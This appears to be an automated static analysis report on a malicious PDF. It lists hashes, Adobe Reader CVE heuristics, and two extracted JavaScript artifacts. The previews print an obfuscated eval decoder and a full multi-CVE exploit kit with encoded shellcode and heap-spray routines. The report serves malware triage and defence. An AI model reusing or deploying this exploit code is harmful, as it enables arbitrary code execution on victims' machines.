Malicious PDF — malware analysis report

Static analysis result for SHA-256 8cf19fbaf1492c5f…

MALICIOUS

PDF

44.8 KB First seen: 2026-05-08
MD5: 82a2cc8270358f2f177dcce66713f907 SHA-1: 772b5edfb5011a79bce196ac11ec9a93dbe0f366 SHA-256: 8cf19fbaf1492c5f8aa749a2fcfab3e75e975ba1684d841c91ec985a28c8b5ff
408 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB0BF 440 bytes
SHA-256: be55a8360c607c3d605052c17983a811fc30f30574f5c326fdf40908a93c38c6
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
vfda='';
iwvyu=('qwrwqr','tit');
e('qowv=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
wyih=e('String.fro'+qowv.substr(0,9));
roj = e(qowv.substr(9)['replace'](/u/g,','));
e('k=roj.length');
for (i = 0; i < k; i+=2) {
	vzi = roj[i+1] + ('erybjkerl',roj[i]);
	vfda += wyih(vzi);
}
e(vfda);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3672 bytes
SHA-256: 8d4582f6dc0151cd8d81cfea1fc0026b1c5033f0677ee0ad9a6610db61dc0ee5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u43b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%ufc34%ue2aa%uc3fa%ue5e8%uffff%u15ff%ufdf0%ufcfc%u7da2%ua010%ufcfd%u75fc%u711b%uecb3%u9371%ucda8%uab27%uafad%uafaf%uafaf%uafaf%uafa9%u94af%ufdf8%ufcfc%uaaa9%u94af%u9293%ufcfc%u8994%u908e%ua891%u7294%uf2b2%u1410%ufcb4%ufcfc%u14ac%ufc80%ufcfc%u2c03%u387f%u94f4%u13b3%uf9b3%u14ac%ufc90%ufcfc%u2c03%u3c79%ueb89%ua896%u0fa5%u9456%u028e%uea4f%ue114%ufcfc%uacfc%uad14%ufcfc%u03fc%uaf2c%u0296%u7594%ufd93%u1441%ufcf4%ufcfc%u14ac%ufcc0%ufcfc%u2c03%ucd9c%u983c%uac77%u77cc%uf0ae%uae77%u77e8%ud48e%ue445%ufcfc%ucdfc%ucd03%u503c%u9dc0%ufe80%udcd0%u333d%ufdf1%u1e3b%u7d0c%ua703%ub640%u7796%uecbe%uee77%u2589%ub875%ue0d8%u3f9d%u779c%ud890%u77d8%uc0b9%ua877%u84f9%u16fd%ub677%u77e4%udca6%u17fd%uc81f%u77b5%u77c8%u12fd%u03cd%u3ccd%u5000%u3c78%ufb88%u333d%ufdf1%u173b%uc708%ud880%u89d4%u771d%ud8a6%u17fd%u779a%ub7f0%ua677%ufde0%u7717%u77f8%u14fd%ub875%ue0d8%u3e9d%ufcf4%u1314%u0302%u9403%u8888%uc68c%ud3d3%u968f%u93c5%u9792%uc895%u9fd2%ud286%u9f9f%u9dd3%u9f9f%u8f99%ucb8f%u97d3%u8cd2%u8c94%u9ac3%ucfc1%udac4%uc199%ufcc9';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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